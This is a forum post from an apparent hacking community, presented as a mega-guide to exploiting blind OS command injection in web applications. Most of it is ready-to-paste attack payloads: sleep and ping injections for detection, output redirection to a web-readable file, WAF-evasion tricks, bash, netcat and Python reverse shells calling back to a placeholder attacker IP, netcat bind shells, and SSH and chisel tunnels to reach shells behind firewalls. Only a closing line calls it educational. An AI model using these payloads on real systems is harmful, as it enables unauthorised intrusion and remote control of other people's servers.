Hacking 🎩 Blind OS Command Injection: The Ultimate Mega-Guide

[dEEpEst]

Blind OS Command Injection: The Ultimate Mega-Guide​

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Created for Hack Tools Dark Community


By Hack Tools Dark Community — Deep Offensive Security Knowledge

Welcome to a full in-depth exploration on exploiting Blind OS Command Injection, covering basic detection, advanced exploitation with output redirection, reverse shells, bind shells, and pro pivoting techniques.
This guide is designed to take you from simple testing to full system compromise!

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Contents​

• 1. Basic Detection of Blind OS Command Injection
• 2. Output Redirection to Capture Command Results
• 3. Elevating to Reverse Shells
• 4. Using Bind Shells When Reverse Shells Fail
• 5. Bonus Pro Tip: Port Forwarding to Reach Hidden Bind Shells

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1. Basic Detection of Blind OS Command Injection​

Look for injectable points by submitting payloads that cause delays:

Example Payloads:

[email protected] & sleep 5 #

[email protected] | ping -c 5 127.0.0.1 #

Success indicator: The server response is delayed by about 5 seconds.

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2. Output Redirection to Capture Command Results​

Step 1: Find a file-loading endpoint

/image?filename=xyz

Step 2: Inject payload to redirect command output

xyz & whoami > /var/www/images/output.txt #

Step 3: Retrieve output

/image?filename=output.txt

Tip: Adapt filesystem paths according to the webserver setup.

Filter Evasion Tricks:

• Use `${IFS}` instead of spaces.
• Base64 encode payloads.
• Chain commands carefully using `&&`, `|`, or backticks.
• Bypass WAF signatures with obfuscation.

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3. Elevating to Reverse Shells​

Step 1: Start a listener

nc -lvnp 4444

Step 2: Inject reverse shell payload

Example Bash reverse shell:

photo.png & bash -i >& /dev/tcp/YOUR_IP/4444 0>&1 #

Example Netcat reverse shell:

photo.png & nc YOUR_IP 4444 -e /bin/bash #

Example Python reverse shell:

photo.png & python3 -c 'import socket,subprocess,os; s=socket.socket(); s.connect(("YOUR_IP",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' #

Shell Stabilization:

python3 -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo; fg
reset
export TERM=xterm

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4. Using Bind Shells When Reverse Shells Fail​

When reverse shells are blocked: Create a bind shell on the target!

Bind shell payload with Netcat:

photo.png & nc -nlvp 4444 -e /bin/bash #

Then connect from your machine:

nc TARGET_IP 4444

If bind shell only listens locally: proceed to Port Forwarding!

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5. Bonus Pro Tip: Port Forwarding to Reach Hidden Bind Shells​

If you can't reach the bind shell directly:

Option 1: SSH port forwarding

ssh -L 5555:localhost:4444 user@victim_ip
nc 127.0.0.1 5555

Option 2: Chisel tunnel

# On attacker:
chisel server -p 8000 --reverse

# On victim:
chisel client YOUR_IP:8000 R:5555:127.0.0.1:4444

# Connect:
nc 127.0.0.1 5555

Result: You gain shell access even behind NAT/firewall/internal networks!

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Disclaimer​

This guide is intended for educational purposes only.
Unauthorized testing or exploitation is illegal. Always have explicit permission before engaging in any security testing.

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